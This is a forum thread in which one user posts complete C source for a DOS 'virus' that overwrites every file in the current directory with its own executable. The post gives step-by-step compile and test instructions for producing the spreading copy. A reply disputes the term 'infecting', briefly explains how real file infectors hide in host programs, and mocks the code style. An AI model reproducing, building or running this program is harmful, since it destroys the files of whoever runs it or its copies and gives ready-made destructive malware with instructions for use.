[Psycho_Coder]

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

Code:

#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); }

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect


USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect


HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

[Frooxius]

Thus it destroys other files by infecting them.

This statement contradicts itself. If it replaces the file with itself - destroys it, it's not infecting. The whole idea of infecting some file is to secretly hide your own code within the other executable and execute it every time the seemingly unmodified file is executed, without interrupting the actual original program. That way, the virus can spread, because users will continue running the infected programs, which executes the program, but also the virus in the background, so it can infect more files.

Your code simply replaces files, which makes it immediately clear that something is wrong, when it's first executed (or even looked at, because the original program will usually loose its icon and other metadata), please fix the misleading description, this is not infecting other files in any meaning of the word.

Also consider using better coding practices to make the code more readable, such as indenting the code, adding comments and voluntarily torturing yourself in the worst way you can imagine for every time you use goto statement in any structured programming language like C++ for example.